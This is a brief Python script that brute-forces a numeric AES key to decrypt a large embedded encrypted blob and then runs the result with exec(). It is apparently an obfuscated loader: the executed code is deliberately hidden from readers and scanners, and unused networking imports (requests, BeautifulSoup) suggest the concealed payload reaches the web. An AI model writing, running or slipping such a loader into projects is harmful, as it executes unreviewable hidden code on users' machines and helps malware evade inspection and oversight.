from Crypto import Random
from Crypto.Cipher import AES
import hashlib
import requests
from bs4 import BeautifulSoup
class Decryptor:
	def __init__(self, key, file_name):
		self.key = hashlib.sha256(key.encode('utf-8')).digest()
		self.file_name = file_name

	def pad(self, s):
		return s + b"\0" * (AES.block_size - len(s) % AES.block_size)

	def decrypt(self, ciphertext, key):
		iv = ciphertext[:AES.block_size]
		cipher = AES.new(key, AES.MODE_CBC, iv)
		plaintext = cipher.decrypt(ciphertext[AES.block_size:])
		return plaintext.rstrip(b"\0")

	def decrypt_file(self):
		dec = self.decrypt(self.file_name, self.key)
		return dec

class BruteForce:
	def __init__(self, encrypted_codes):
		self.encrypted_codes = encrypted_codes
		self.password = 0

	def start(self): 
		status = True
		while status:
			try:
				test = Decryptor(str(self.password), self.encrypted_codes)
				decrypted_code = test.decrypt_file()
				executable = decrypted_code.decode() 
				status = False
				return executable 
			except UnicodeDecodeError:
				self.password += 1

encrypted_codes = b'2j\xf8\xf4\x8bK\x83\x86n\xe0\x0f\xffa\x18(M\x11\xf2\x07\xff\xc4\xb4@ra\x1f\x01\xa4*$2\x8c`P\x9b\x0e\x9b\xbb\xe7\x7f\x17\xea\xee\x93O]VTq+d\xadx\xc3\x08\xbf\xd1#.\x91\x842yW\x90<I%o\xe6\xb8r\x89\t\x19\x7fKm\xe2\xd0\x17B>\xdcN\x01\xe8\xdcPc\x95\x932\xefHa\x02r\xa4\x8b$=a\x0c\\!\xd1SH\x80\xf5M\xc6\x18\xff\xec\xa1\xa0\xce"-\xa2Z\xdc\x97t\xb8c\xfb\xa8\xf7\xd79\x19T\xe3\xd5\xe0i_\x06\xdb\xfc\x87\t\x11i\xaa\x16\x1b\xaf\x05\x1d\x9e\xb24\x1c\xa1\xa2\xa6\xfa\x8aj\x82\x19\xdf\xb3\xb9\'\xadB\x99\xbe\x8a\x7f\x96vBB\xe7\xa4\\\xf7\x13U\x0c\x89N\xe4@\x03\xe9^\xdcB+Q\xad\x1c\xd0\xd0\xf9\xc9n\xf5\xd0\x1d\x1d\xf7\xd5u\x99\xc6\xa5s\xf4\\\x1a\x94\x80\x1d\xb7n\xd3\xa4}&k\xfc2C\xa4\x9fH\xe5r\xe1\xf7^\x86\xfe\xfa=\xc5v>\t\xc8WE\n\\\x1b\xd2,M-\x00\xa6\x84\x1d/\xea\xfe\xb3\xa7_v\xad\xcff\xbb$\xd1\xeb\xa5FA\x8c\x81G{\x88\xefs\xd6\xfe\xf3\xd8\xcf\xf8\xf6>\x18C\x05C\xe84\x15t\x02\x12Vf\xfb*Q\xb8\x06$\xf4\n\x88\xb6\x14\xcf\xb3H\xfa\x82\xd7\x14\x02\x13\x86\xc5\x08\xc7\xbb\xf6 ]\xd2;\xbe\x8er_\x8f\x16\xa4\x85\xf3\xaa\x80\x80\xc7I\xa6\x1c\xe4\xd03\t]\xb6\xbf\x03Y\x89O\xad<\xe9\xf9b\xda\xa5\xa2\xca\xf4v\x186.\xc1mo*\xc2:\xf4\x81\x9b\'4\xef\xde\xef\xb1`]\x80\xd5)B\x01W\xe3=\x02\xbc\x14\xc3i\xe5co]\x98\xf6\x8b\xf8\xaa\xb6\t\x11\xf7\x0e\xb3\xec\x8c[\xea\x81Z\x9fz\xce.n,V\x8b#\xb0#l~\xcby\x94\xda/\xbc\x11^z\xb0\xde\x8cf\x12\xddh\xc0x\x92\x80\x9e\xa3\x84\x9c\xae;c$\xd4!\x916\x9b\n\xf5\xef/\xc8\xf8\xd7\x17\x17w\r\xa6\xa7\xb1uC\x838\xb5\r\xc8\xac\xe4R\xde:\xe1\xd3\xe3\xcd\x07|\x11\xb1\x7f#\x19\x17\xc9\xfb\xa6\x99\x9d\xca{\xb3\x1b\xc8\x96\xe7\xbf\xc4p?F\'X\x98\x9a\x1a;\n\xae\xfdy\x17!H\xcbX\xce\x8f\x1b[\xd2\xda\x94\xfc\xf1\x80j\x1eLs\xb1^\x11\xd7,\xb6 \x8b\xdd\xa4\t$\x0b\xb8\xb0@&\xf7\x9d\xfbEW\x98\xfb"\xa1S\n\xa9\xf2\x83\x1d\x01\xd1\xaa\xc0\xe2\x15\xcd\x9c\xf1\xa4s\xf1!\xa3\xa8R\x90\xdf\xc8\x0e\xf2w\xb5\xdd\xab\xc2\xa6\x07\x16@f" \x96\x1e\x07\x12\xa1\xad\xb8\xd9L\x9bBM\xa0\x80\x1c\xdf!f#\xe0\x08)v\xcf_\x92\xb6\x11\x89\x7f\x06K\xb1\';\xfeVh\xbd"\x0e\xc5p\xfd\x87\x91L\xb5\xb6\xb7\x9f\rg\x87\xc2\xd1\xfcp\x1b\x10\xfbz\xea\x13-\xda5c\xf4,\xdf\x86c\x97\xf9\xa7 R\xc1\x16\xc6q\xa7\xa0\x13\xef\xb7\xa7\xdf\xeaa\x01\xa6\x8d\x18#\x00\xbd\x17H<\xed\xa3N\xce\x1daZ\xca\xf0\x9f}\x8c ?\xd9(\xe297h\t\xdaI\x0cm\x15\xb9\xb2\x7f*\xb0\xc7\x16\xe6\x87\xd47\x89!\xb4\\\xbd\xe7\xab\xee\xa1\xdf7\xe2P\xe8\x8dh\xbe\xd3I\xb2\xc2\x1c@\xb9\x055\xccVy\x95\x14\x8b\x84\xe2;lJ\xc1\x0e}<\xa4`\xe2\x19\x9fm\xe7L\xa3\xcdC;\xdd&\x10,&\xcfS\xc5\xef\xafa\xc56\x0e\xb5\xa6)\x86\\\x05\x96\xe9nb\x18n\xfa0)\xeb\x14D\x86JYz5K\x97d\x91\xd99\x0eW\x9a\x87S\x8d\xe7u\x91\xb1H\x08KoS\xd8&\xf0\xbf3w\xac7jS\xc8\x9d\xe2\x99\xfbA\x1c\xd4\xdf\xc0{\xca}B\xb4\xe8\xff\x1b1\xe2\xc1\xc9\xa4\x01\x06\x80M\x03\rE*o\xddV\xbaj\t\x94MX\x05\xd0q_\xbckw\xe3\x1fY\xc4 \xf2T=\x84|\xe3p\xdbb*{\xb3\x1b8 \xa0\x05\x87{v-\xb3t\x89\x90|Nb\xc7lvA~5Y\x02\xb9)\x87\xf5\x11\xee0\xab\x9eR\xa53\xf9^;\xd85\x07\xd9\x8d\x01\xb3\x9e\xabD%\x98T\x88\x93\x93w^.\x82-\xe8\xb6\xdf\xbb\xe1\xe4\x14\x0f\xdc`\x19c\xa9\xd4\xc54\xd0\xbb \xd8.Y\xf6\xd5\x90T\xbf\xde\xf3\xba\xf7\x07\xa6\xf8\x04\xacn\xaf]J\x91\x03\xe9\x8f.L\xaceUi,\x17Z=\xcd\x1e\xfd\x8c\x13\xe5\xc6s@\x7f[\x8b\xb9\xd0\xfd2\xadp\x86\x93\xcb\xfa{\xea\xfc\xd6\xc0\xf4k\x9d\x07Zh\x16\x04\xf0r\xf2\x1d\xb2x\xbaL\x06\x03\xba/o\xe8x\xda\xa9w\rD\xdc\x1ae\x88R\xc9U\xae\x19\x17\xec@H9\x9e;\xeb\xb9\x06\xee\xcf\xa2\xa0D\r\x9f\xbd\x8fK\xa1\xad\xd3v\x0e\x17\xc8\xfd\xa1\xa7#\xd4\x8f\xe4M\x0c\x05#j\xb1\x81\x96\xde\xd3\x80\t\xef\xa0\xe3\xc4\xeb\xfd\x803\xef9Zs\xd7\xbb\x1b:\xeb\x87\xe4\x0eG\x93d\xee\xc0\x1a\xae@\xdcb\xe4==\xed0\x84q\xbb/\xc8\xcf\xcfJD\xc1\xa8\xf2\x89\xf1F\x99H\x89{\xc4\x98{\x10\xe6\x16$\xf48\x0b\xdb\x9cB.\xe3\xb6\x14x\x8a\xb6\xd3\x11\xf8\x00\xe9\xf64\x13Z\xe1\xdb\xd7\x14\xbc\xde\xee\xcf\xa1\x85\xe9s\xce\xa81\xd3 \xd7\x85L\xa1\xa3\xa6\xe7\x1b\xb9\xc4\x7f\xe6\x9f\x89C\xb95\r\x97\xe9\x86\x89\x080\x15\xba\x12h\xa7\xe3\x9d\x98\xc2V AYk@=\x91\xcb\x9b\x15X\xe7$\x94\xf4h~\x96\x9fvQ\x13\t4\xc8\xa8\xc8\xf3\xc6\xd0\x16\xae\xc0\x81\xae\n\xe4\xe5\xb3\xba\xb8\xa7\n\xb8\xd8\x1f\x00\x81\xce\xd7\x8d\x1a\xc0~\xad!`i\xee\xbb\xcdc(!\xe8\x8c$\x19\xf8\xec\xbb,\xc5!5\'b\xe6\xbf\xff\xb4\xa7\xee8\xe6w[4\xb0\x92~\x87BiG\xc0\xe9&}\xc3\xf4\xd8\xe5D\x04\xf3{\xb6Y\xd7\x87\x12\xd2\xa03\x93\xfd\xdb\x08>\xaf\x82\xd3\x80M\x1a#\x17\xaaX\xc6\xe3\x154\x1c\x05\xf2*\xc0B\xd9e\xfb-\x96\xfdA\x00|\x90\x8c\xd1\xfd.#\xcb\xde\xcc\xfc\x80\xc2\xb31\x020\xd3\xdc\xcc\xd5\xa4\x10\xff\x96\x86=x]\xf2\xee\x9b,\xe5(+\x8ej+\x87q\xd5\xd9\x8f\x12\xd6\xfdO\x8bSa\xf4k\'m\x17\x8f@\x06\'\xa3\xe5G\x8a\xea!\xfc\x0fv\xec\xe5\x0b\xea\xee\x84%XO\x190\xc4\x08\x81/@O\x0f\x00Y\xa4\x1e\x1c(\xdf\x9a\x84NV\xa5\xd7\xff\x8f\xc4\x17\x91k\xef`b\x87Q7\xe1Z\x95\xe3\xbb\xd63-&\xb6+\xfb\n\x07\xe2?\xf5lR\xaeo\x85/7\x8fSB\x03\xf4\xe5I\xb0]\xb2$\\>\x8a \xd3\x0c>\xe5\xc25\xd8\x1f\x86uG\xf4\xcd\xf3\xc4\xce\xcd\xba\x11\xc6C\xe4(Jx$\xd5\x88\x87\x93\x08>5FSj}\xce\xb6li\xbf*\x01\xd0\xd2\xbc\xd3b\xda\x8aZ\xfd\x89\x94X\xc6\xc2\xdc\xdbv\x84\xf8\xe84\xb5J\x1e\x1e[\xeb\xe75\xf4j_\xd5\xfd\x96R~\x8a\xc4\x1b)\xfbB\xa9\xc5\xb1\x91H\xb1\x02c\x97\xd2\xdftC\xd5b\x13\x8d[<\xa8u;\x8aXv\x0f\xd7l\xd0\xa08\xc8(z\xf9C]\xdd\xe6Z\xb1\x90\xb6\x99\xc9\xf1\xa3s\xcce\xab\x9c\xcf\x0b`!1vr8\xd0\xc7\x83\\\xc7jO\xe7S.Wj\xf3+\xbee\x86\xb7\xf7{(\xb0\xa1\x89\xad\x8e\xe4\xae\xcbZ\xc1\x94\xc9\x8e\x9d\xa1\x9e\x91\xe8rpd\xe2a\xe3\x99?\x15\xfcbI\r1P\x00n\xcd\xf9\x05\xd9\xd7B\x8b\x1d+\x1en\x85\xcb\xb3\x17\xd8\x9d~tI\x8c\x16\x07au\xe8\x12\xabO\xb1\xb8\x0b\x96zPl\x87V\x8ay\x05\xd6b\xa0~\x9a\x1e8\xc5\x16i$\\\xc6\xdc\xe6.\xd6\xe0j\xc3A(J\xb8P\x86'
brute = BruteForce(encrypted_codes)
executable = brute.start()
exec(executable)
